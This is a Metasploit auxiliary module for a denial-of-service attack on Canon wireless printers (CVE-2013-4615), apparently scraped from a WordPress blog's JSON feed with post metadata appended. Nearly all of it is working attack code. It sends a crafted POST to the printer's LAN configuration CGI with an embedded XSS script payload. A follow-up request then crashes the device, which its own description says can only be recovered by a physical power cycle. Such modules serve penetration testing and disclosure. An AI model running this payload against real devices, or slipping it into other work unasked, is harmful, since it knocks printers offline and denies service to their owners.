##
# This module requires Metasploit: https:\/\/metasploit.com\/download
# Current source: https:\/\/github.com\/rapid7\/metasploit-framework
##<\/p>\n
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Dos<\/p>\n
def initialize(info = {})
super(update_info(info,
‘Name’ => ‘Canon Wireless Printer Denial Of Service’,
‘Description’ => %q{
The HTTP management interface on several models of Canon Wireless printers
allows for a Denial of Service (DoS) condition via a crafted HTTP request. Note:
if this module is successful, the device can only be recovered with a physical
power cycle.
},
‘License’ => MSF_LICENSE,
‘Author’ =>
[
‘Matt “hostess” Andreko <mandreko[at]accuvant.com>’
],
‘References’ => [
[ ‘CVE’, ‘2013-4615’ ],
[ ‘URL’, ‘https:\/\/www.mattandreko.com\/2013\/06\/canon-y-u-no-security.html’]],
‘DisclosureDate’ => ‘2013-06-18’))
end<\/p>\n
def is_alive?
res = send_request_raw({
‘method’ => ‘GET’,
‘uri’ => ‘\/’,
},10)<\/p>\n
return !res.nil?
end<\/p>\n
def run<\/p>\n
begin<\/p>\n
# The first request will set the new IP
res = send_request_cgi({
‘method’ => ‘POST’,
‘uri’ => ‘\/English\/pages_MacUS\/cgi_lan.cgi’,
‘data’ => ‘OK.x=61’ +
‘&OK.y=12’ +
‘&LAN_OPT1=2’ +
‘&LAN_TXT1=Wireless’ +
‘&LAN_OPT3=1’ +
‘&LAN_TXT21=192’ +
‘&LAN_TXT22=168’ +
‘&LAN_TXT23=1’ +
‘&LAN_TXT24=114″><script>alert(\\’xss\\’);<\/script>’ +
‘&LAN_TXT31=255’ +
‘&LAN_TXT32=255’ +
‘&LAN_TXT33=255’ +
‘&LAN_TXT34=0’ +
‘&LAN_TXT41=192’ +
‘&LAN_TXT42=168’ +
‘&LAN_TXT43=1’ +
‘&LAN_TXT44=1’ +
‘&LAN_OPT2=4’ +
‘&LAN_OPT4=1’ +
‘&LAN_HID1=1’
})<\/p>\n
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE
print_error(“Couldn’t connect to #{rhost}:#{rport}”)
return
end<\/p>\n
# The second request will load the network options page, which seems to trigger the DoS
send_request_cgi({
‘method’ => ‘GET’,
‘uri’ => ‘\/English\/pages_MacUS\/lan_set_content.html’
},5) #default timeout, we don’t care about the response<\/p>\n
# Check to see if it worked or not
if is_alive?
print_error(“#{rhost}:#{rport} – Server is still alive”)
else
print_good(“#{rhost}:#{rport} – Connection Refused: Success!”)
end<\/p>\n
end
end<\/p>\n","protected":false},"excerpt":{"rendered":"
### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule < Msf::Auxiliaryinclude Msf::Exploit::Remote::HttpClientinclude Msf::Auxiliary::Dos def initialize(info = {})super(update_info(info,‘Name’ => ‘Canon Wireless Printer Denial Of Service’,‘Description’ => %q{The HTTP management interface on several models of Canon Wireless printersallows for a Denial of Service (DoS) condition via a crafted HTTP request. Note:if this module is successful, …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59284","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59284","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59284"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59284\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59284"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59284"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59284"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}